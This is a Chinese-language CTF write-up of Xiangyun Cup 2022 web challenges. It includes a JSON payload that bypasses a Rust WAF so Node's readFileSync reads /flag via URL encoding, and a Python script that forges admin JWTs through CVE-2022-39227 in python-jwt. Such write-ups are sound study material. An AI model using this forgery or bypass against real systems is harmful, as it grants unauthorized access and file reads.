天天看點

祥雲杯2022複現

RustWaf

先讀src,然後使用/readfile 傳入/flag可以進一步看到源碼

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});
           

/flag

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
}

pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
        return String::from("./main.rs"); //這裡限制我們不能帶有flag和proc字段
    }
    if let Ok(json_body) = serde_json::from_str::<Value>(body) {
        if let Some(json_body_obj) = json_body.as_object() {
            if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                return String::from("./main.rs");    //這裡限制我們的json字段不能帶有protocol字段,但是下面限制我們是file結構體,這也就意味着我們一定要有protocol字段
            }
        }
        //not contains protocol,check if struct is File
        if let Ok(file) = serde_json::from_str::<File>(body) {//限制我們隻能是這個結構體
            return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
        }
    } else{
        //body not json
        return String::from(body);
    }
    return String::from("./main.rs");
}

fn main() {
    let args: Vec<String> = env::args().collect();
    println!("{}", waf(&args[1]));  //這裡把json的第二字段傳進去
}
           

但是在這裡

祥雲杯2022複現

readFileSync這個方法是可以接收url編碼内容的

詳情見pysnow師傅的這篇

["file:","b","a","/%66%6c%61%67",""]

這樣就可以解析url編碼拿到

/flag

ezjava

沒接觸java,CC4試了一個下午,本地沒出,寄!日後複現。

webfun

考點jwt僞造1day+grahql注入

我這裡隻複現一下這個jwt僞造了,grahql隻能紙上談兵的看看了并不能實操

考到了jwt新出的CVE-2022-39227

抓包的時候有一串jwt,解碼出來之後可以看到

祥雲杯2022複現

而我們點選頁面的各種功能提示都是權限不夠,那麼這裡也就是需要構造is_admin=1,在jwt這個版本更新之後,留下了檢測是否存在漏洞的pochttps://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py這個CVE的漏洞就是不需要公鑰以及私鑰就能構造出jwt的認證,稍作修改就可以更改:将裡面的sub=bob改成is_admin=1然後拿出來輸出一下

祥雲杯2022複現

給出payload:

from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode(
        (dumps(parsed_payload, separators=(',', ':'))))
    # print (header+ '.' +fake_payload+ '.' +signature)
    # print (header+ '.' + payload+ '.' +signature)
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''給出的jwt'''

topic = topic(originaltoken)
print(topic)
           

這樣就能夠以admin的形式登陸了

檢視flag還是不行,但是這裡還有一個查詢接口

祥雲杯2022複現

苦于沒有環境,我就隻能口述了,利用graphql注入,注入出賬号密碼,最終登陸拿到flag

繼續閱讀